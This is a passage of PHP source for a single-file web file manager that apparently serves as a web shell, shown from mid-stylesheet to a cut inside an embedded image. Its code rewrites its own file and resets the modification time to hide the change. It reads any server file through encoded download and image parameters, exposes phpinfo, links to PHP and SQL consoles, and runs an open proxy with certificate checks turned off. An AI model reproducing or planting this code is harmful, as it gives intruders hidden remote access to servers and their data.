	  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
        
	  background-repeat: no-repeat;

}';
         
}
          

function fm_config_checkbox_row($name,$value) {

	  global $fm_config;
	  return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}

function fm_protocol() {

	  if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	  if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
        
	  if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
           
	  if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
            
	  return 'http://';
}



function fm_site_url() {

	  return fm_protocol().$_SERVER['HTTP_HOST'];
           
}



function fm_url($full=false) {

	  $host=$full?fm_site_url():'.';

	  return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	  return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
          
}
        

function fm_run_input($lng) {
          
	  global $fm_config;

	  $return = !empty($fm_config['enable_'.$lng.'_console']) ? 
            
	  '
	  	  	  	  <form  method="post" action="'.fm_url().'" style="display:inline">
	  	  	  	  <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
       
	  	  	  	  </form>

' : '';

	  return $return;

}



function fm_url_proxy($matches) {

	  $link = str_replace('&amp;','&',$matches[2]);

	  $url = isset($_GET['url'])?$_GET['url']:'';

	  $parse_url = parse_url($url);
       
	  $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	  if (substr($link,0,2)=='//') {

	  	  $link = substr_replace($link,fm_protocol(),0,2);

	  } elseif (substr($link,0,1)=='/') {
           
	  	  $link = substr_replace($link,$host,0,1);	  
           
	  } elseif (substr($link,0,2)=='./') {

	  	  $link = substr_replace($link,$host,0,2);	  

	  } elseif (substr($link,0,4)=='http') {

	  	  //alles machen wunderschon

	  } else {

	  	  $link = $host.$link;

	  } 
	  if ($matches[1]=='href' && !strripos($link, 'css')) {
            
	  	  $base = fm_site_url().'/'.basename(__FILE__);
          
	  	  $baseq = $base.'?proxy=true&url=';
	  	  $link = $baseq.urlencode($link);
	  } elseif (strripos($link, 'css')){

	  	  //как-то тоже подменять надо
       
	  }
	  return $matches[1].'="'.$link.'"';
}

 

function fm_tpl_form($lng_tpl) {

	  global ${$lng_tpl.'_templates'};
	  $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	  $str = '';
            
	  foreach ($tpl_arr as $ktpl=>$vtpl) {
	  	  $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	  }
           
return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
           
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
        
'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
        
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';
}
         


function find_text_in_dateien($dir, $mask, $text) {
            
    $results = array();

    if ($handle = opendir($dir)) {

        while (false !== ($entry = readdir($handle))) {
           
            if ($entry != "." && $entry != "..") {
       
                $path_share = $dir . "/" . $entry;

                if (is_dir($path_share)) {

                    $results = array_merge($results, find_text_in_dateien($path_share, $mask, $text));

                } else {

                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path_share);
            
                        if (strpos($contents, $text) !== false) {

                            $results[] = str_replace('//', '/', $path_share);
                        }
                    }

                }

            }

        }
            
        closedir($handle);
    }

    return $results;

}




/* End Functions */

            
// authorization

if ($auth['authorize']) {

	  if (isset($_POST['login']) && isset($_POST['password'])){

	  	  if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {

	  	  	  setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));

	  	  	  $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
	  	  }
	  }
	  if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {

	  	  echo '
<!doctype html>
<html>
           
<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>
        
</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language).'

</body>

</html>
         
';  

die();

	  }
	  if (isset($_POST['quit'])) {
	  	  unset($_COOKIE[$auth['cookie_name']]);
	  	  setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));

	  	  header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
         
	  }

}


// Change config

if (isset($_GET['fm_settings'])) {

	  if (isset($_GET['fm_config_delete'])) { 
	  	  unset($_COOKIE['fm_config']);

	  	  setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
            
	  	  header('Location: '.fm_url().'?fm_settings=true');
	  	  exit(0);

	  }	  elseif (isset($_POST['fm_config'])) { 
            
	  	  $fm_config = $_POST['fm_config'];

	  	  setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
	  	  $_COOKIE['fm_config'] = serialize($fm_config);

	  	  $msg = __('Settings').' '.__('done');
            
	  }	  elseif (isset($_POST['fm_login'])) { 

	  	  if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
	  	  $fm_login = json_encode($_POST['fm_login']);
        
	  	  $fgc = file_get_contents(__FILE__);
           
	  	  $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
          
	  	  if (!empty($matches[1])) {
	  	  	  $filemtime = filemtime(__FILE__);

	  	  	  $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
	  	  	  if (file_put_contents(__FILE__, $replace)) {

	  	  	  	  $msg .= __('File updated');

	  	  	  	  if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];

	  	  	  	  if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
	  	  	  	  $auth = $_POST['fm_login'];

	  	  	  }
	  	  	  else $msg .= __('Error occurred');
	  	  	  if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	  	  }

	  } elseif (isset($_POST['tpl_edited'])) { 

	  	  $lng_tpl = $_POST['tpl_edited'];

	  	  if (!empty($_POST[$lng_tpl.'_name'])) {

	  	  	  $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
	  	  } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

	  	  	  $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

	  	  }

	  	  if (!empty($fm_php)) {

	  	  	  $fgc = file_get_contents(__FILE__);
          
	  	  	  $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	  	  	  if (!empty($matches[1])) {

	  	  	  	  $filemtime = filemtime(__FILE__);

	  	  	  	  $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
	  	  	  	  if (file_put_contents(__FILE__, $replace)) {

	  	  	  	  	  ${$lng_tpl.'_templates'} = $fm_php;
	  	  	  	  	  $msg .= __('File updated');
	  	  	  	  } else $msg .= __('Error occurred');
	  	  	  	  if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
        
	  	  	  }	  
          
	  	  } else $msg .= __('Error occurred');

	  }
         
}


       
// Just show image
if (isset($_GET['img'])) {
         
	  $file=base64_decode($_GET['img']);
	  if ($info=getimagesize($file)){

	  	  switch  ($info[2]){	  //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

	  	  	  case 1: $ext='gif'; break;

	  	  	  case 2: $ext='jpeg'; break;
	  	  	  case 3: $ext='png'; break;

	  	  	  case 6: $ext='bmp'; break;

	  	  	  default: die();

	  	  }

	  	  header("Content-type: image/$ext");

	  	  echo file_get_contents($file);

	  	  die();

	  }

}


// Just download file
           
if (isset($_GET['download'])) {

	  $file=base64_decode($_GET['download']);
	  fm_download($file);	  

}


        
// Just show info

if (isset($_GET['phpinfo'])) {
	  phpinfo(); 

	  die();
            
}
            


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {

	  $url = isset($_GET['url'])?urldecode($_GET['url']):'';
	  $proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	  <form action="" method="GET">

	  <input type="hidden" name="proxy" value="true">
            
	  '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	  <input type="submit" value="'.__('Show').'" class="fm_input">

	  </form>
         
</div>
        
';

	  if ($url) {
	  	  $ch = curl_init($url);

	  	  curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

	  	  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            
	  	  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
	  	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
	  	  curl_setopt($ch, CURLOPT_HEADER, 0);

	  	  curl_setopt($ch, CURLOPT_REFERER, $url);

	  	  curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

	  	  $result = curl_exec($ch);

	  	  curl_close($ch);
            
	  	  //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

	  	  $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

	  	  $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
            
	  	  echo $result;

	  	  die();

	  } 
}
         
?>
<!doctype html>

<html>
<head>     
	  <meta charset="utf-8" />
       
	  <meta name="viewport" content="width=device-width, initial-scale=1" />

    <title><?=__('File manager')?></title>
<style>

body {
         
	  background-color:	  white;
           
	  font-family:	  	  Verdana, Arial, Helvetica, sans-serif;
        
	  font-size:	  	  	  8pt;
        
	  margin:	  	  	  	  0px;

}



a:link, a:active, a:visited { color: #006699; text-decoration: none; }
        
a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }
         


table.bg {
         
	  background-color: #ACBBC6

}



th, td { 

	  font:	  normal 8pt Verdana, Arial, Helvetica, sans-serif;
	  padding: 3px;
        
}

         
th	  {

	  height:	  	  	  	  25px;

	  background-color:	  #006699;
       
	  color:	  	  	  	  #FFA34F;

	  font-weight:	  	  bold;
	  font-size:	  	  	  11px;
}
         

.row1 {

	  background-color:	  #EFEFEF;
}



.row2 {
           
	  background-color:	  #DEE3E7;

}

         
.row3 {

	  background-color:	  #D1D7DC;

	  padding: 5px;

}
           

           
tr.row1:hover {

	  background-color:	  #F3FCFC;

}



tr.row2:hover {

	  background-color:	  #F0F6F6;

}
        

.whole {

	  width: 100%;
           
}



.all tbody td:first-child{width:100%;}



textarea {

	  font: 9pt 'Courier New', courier;
           
	  line-height: 125%;

	  padding: 5px;

}

            
.textarea_input {

	  height: 1em;
           
}
       

        
.textarea_input:focus {
        
	  height: auto;

}


input[type=submit]{
	  background: #FCFCFC none !important;

	  cursor: pointer;
          
}



.folder {
           
    background-image: url("data:image/png;base64,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");
}


.file {

    background-image: url("data:image/png;base64,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